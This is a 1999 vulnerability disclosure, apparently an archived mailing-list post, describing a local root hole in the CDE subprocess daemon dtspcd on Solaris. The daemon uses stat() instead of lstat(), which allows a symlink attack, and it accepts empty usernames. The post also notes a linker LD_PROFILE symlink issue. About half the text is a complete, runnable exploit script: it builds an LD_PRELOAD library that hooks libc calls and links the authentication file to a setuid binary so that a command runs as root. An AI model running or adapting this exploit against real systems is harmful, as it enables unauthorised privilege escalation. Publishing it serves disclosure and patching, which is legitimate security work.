Hello,
I discovered the following security problem in dtspcd, part of CDE:
Description
-----------
The CDE subprocess daemon /usr/dt/bin/dtspcd contains an insufficient check
on client credentials.
Impact
------
The insufficient check can lead to a local root compromise.
Workaround
----------
Unknown.
Affected systems
----------------
The only systems I have checked were:
Solaris 7, 2.6, 2.5.1
However I strongly suspect most systems running CDE to be vulnerable.
Background
----------
The CDE subprocess daemon allows cross-platform invocation of applications. To
achieve this it is registered by inetd:
dtspc stream tcp nowait root /usr/dt/bin/dtspcd /usr/dt/bin/dtspcd
dtspc 6112/tcp # CDE subprocess
control
In order to authenticate the remote user, the daemon generates a filename
which is to be created by the client and then is verified by the daemon.
When verifying the created file, the daemon uses stat() instead of lstat()
and is subsequently vulnerable to a symlink attack. Further more the daemon
seems to allow empty usernames and then reverts to a publicly write-able
directory (/var/dt/tmp). I discovered this accidentally, but later read that
also unreadable home directories result in this behavior. The process can be
followed fairly well by setting the -log and -debug options on dtspcd (in
/etc/inetd.conf). It will create a log file in /var/dt/tmp/DTSPCD.log. This
will show information like:
--> REGISTER channel: 0, request: 4, length: 33, seq: 1 data: 4
Client protocol version is '1000'.: Mon Sep 13 10:32:33 1999
+++> Authentication file is '/var/dt/tmp/.SPC_AAA0RIUwK'.: Mon Sep 13 ..
Both these bugs can be combined to convince dtspcd it should execute an
action as root.
The script below performs all necessary actions on a Solaris host. It makes
use of the dtaction command of which the behavior is modified by pre-loading
a shared library with modified libc functions.
As a side note: Another thing I dislike is the way vendors sometimes
silently release patches (or didn't I watch closely enough?) In Solaris 2.6
a security problem in the linker was fixed which I never saw mentioned
anywhere. When specifying LD_PROFILE=libc.so.1 in the environment and
executing a setuid root program, a file /var/tmp/libc.so.1.profile is
created as root. This file is vulnerable to a symlink attack. To fix this
problem a recommended patch exists for Solaris 2.6.
Another feature of dtspcd, which was not obvious to me, is that it will
allow remote access to all systems that share NFS exported home directories
without requesting a password.
Regards,
Job
---
Job de Haas jobat_private
ITSX bv http://www.itsx.com
-------8<-----------------------------------------------------------------
#!/bin/sh
#
# dtspaced
# Demonstration of local root hole with dtspcd.
# Job de Haas
# (c) 1999 ITSX bv
#
# Mechanism is as follows:
# - dtaction requests the action 'Execute' through dtspcd.
# - dtscpd request a filename to be created which it will check for
# owner/suid bit.
# - BUG1: dtspcd allows creation in a public directory (with empty
# username).
# - BUG2: and forgets to check if the file is a symlink.
# - dtaction will create a symlink to a suid root binary and reply.
# - dtspcd considers dtaction authenticated and executes requested file
# as root.
#
# suggested fix: use lstat or refuse a symlink and why allow an empty
# username?
#
# exploit uses a shared lib to replace some functions to do what we want.
# Note that these are not used by dtspcd but by dtaction. The script executed
# by dtaction as root creates a file /tmp/root_was_here.
#
# tested on Solaris 2.5.1, 2.6 and 7
#
if [ -f /tmp/root_was_here -o -d /tmp/root_was_here ]; then
echo "/tmp/root_was_here already exists"
exit
fi
if [ "X$DISPLAY" = "X" ]; then
echo "need to set DISPLAY"
exit
fi
cat > /tmp/dtspaced.c << EOF
#include <pwd.h>
#define O_CREAT 0x100
#define O_RDONLY 0
#if __SunOS_5_5_1
#define open64 open
#define _open64 _open
#endif
open64(const char * filename, int flag, int mode)
{
if ((flag & O_CREAT) && ( strstr( filename, "SPC") )) {
symlink( "/usr/bin/passwd", filename);
filename = (char *)strdup("/tmp/shit");
unlink(filename);
}
return(_open64(filename, flag, mode));
}
chmod(const char * filename, int mode)
{
_chmod( filename, mode);
return(0);
}
struct passwd *getpwuid(uid_t uid)
{
struct passwd *pw;
pw = (struct passwd *)_getpwuid(uid);
pw->pw_name = (char *)strdup("");
return(pw);
}
EOF
cat > /tmp/doit << EOF
#!/bin/sh
unset LD_PRELOAD
/usr/bin/touch /tmp/root_was_here
EOF
chmod a+x /tmp/doit
mkdir /tmp/.dt
cat > /tmp/.dt/hack.dt << EOF
set DtDbVersion=1.0
ACTION Execute
{
LABEL Execute
TYPE COMMAND
WINDOW_TYPE NO_STDIO
EXEC_STRING \
"%(File)Arg_1"File To Execute:"%"
DESCRIPTION The Execute action runs a shell script or \
binary executable. It prompts for options and \
arguments, and then executes the script or \
executable in a terminal window.
}
EOF
DTDATABASESEARCHPATH=/tmp/.dt
export DTDATABASESEARCHPATH
# make a copy of dtaction so it is not suid root and will accept LD_PRELOAD
cp /usr/dt/bin/dtaction /tmp
echo "Compiling shared lib..."
cc -c /tmp/dtspaced.c -o /tmp/dtspaced.o
ld -G /tmp/dtspaced.o -o /tmp/dtspaced.so
LD_PRELOAD=/tmp/dtspaced.so
export LD_PRELOAD
echo "Executing dtaction..."
/tmp/dtaction -execHost 127.0.0.1 Execute /tmp/doit
unset LD_PRELOAD
/bin/rm -f /tmp/doit /tmp/dtaction /tmp/shit /tmp/dtspaced.*
/bin/rm -rf /tmp/.dt
if [ -f /tmp/root_was_here ]; then
echo "created file /tmp/root_was_here"
else
echo "exploit failed..."
fi
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:03:28 PDT